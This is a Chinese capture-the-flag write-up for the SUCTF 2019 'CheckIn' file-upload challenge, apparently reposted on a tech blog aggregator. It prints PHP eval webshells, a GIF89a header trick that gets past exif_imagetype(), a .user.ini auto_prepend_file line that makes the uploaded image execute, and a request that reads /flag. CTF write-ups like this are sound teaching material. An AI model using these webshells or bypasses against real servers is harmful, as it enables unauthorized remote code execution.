[SUCTF 2019]CheckIn 1

编程入门 行业动态 更新时间:2024-10-11 15:20:22

[<a href=https://www.elefans.com/category/jswz/34/1614536.html style=SUCTF 2019]CheckIn 1"/>

[SUCTF 2019]CheckIn 1

知识点:exif_imagetype()  、 .user.ini

文章目录:

  • 题解
  • 参考

题解

文件上传,我们传一个带一句话马的图片

<?php @eval($_REQUEST['cmd']);?>


但是它提示我们不能有<?,那我们就换一种

<script language="php">eval($_REQUEST['cmd']);</script>


在这边,它用了一个exif_imagetype函数来判断文件类型。
平时简单一点的文件类型检查就是$_FILES[“file”][“type”],这种我们改一下后缀就行了。
但是exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE,比如我们传个.gif的文件,它返回值是IMAGETYPE_GIF。

各类型对应头字节:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
  • GIF:47 49 46 38 39 61(ascll值是GIF89a)
  • PNG: 89 50 4E 47

所以我们只要在我们的一句话马前加上GIF89a就行了

GIF89a
<script language='php'>eval($_REQUEST['cmd']);</script>

在把‘’这个文件上传

但现在传上去的只是一张图片,我们要把它解析成php。
这里可以用.user.ini。
php.ini大家都熟悉,是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER

而.user.ini可以看成用户自己定义的php.ini,并且在php配置项中有两个项:

auto_prepend_file和auto_append_file

相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入。

然后创建.user.ini文件上传:

GIF89a
auto_prepend_file=she.jpg


然后payload,执行命令:

/uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php?cmd=var_dump(file_get_contents("/flag"));
uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php
原因:.user.ini中auto_prepend_file=she.jpg会在执行index.php前把she包含进来,且解析为php格式

参考

.user.ini
高诺琪

更多推荐

[SUCTF 2019]CheckIn 1

本文发布于:2024-03-23 21:53:42,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1743270.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:SUCTF   CheckIn

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!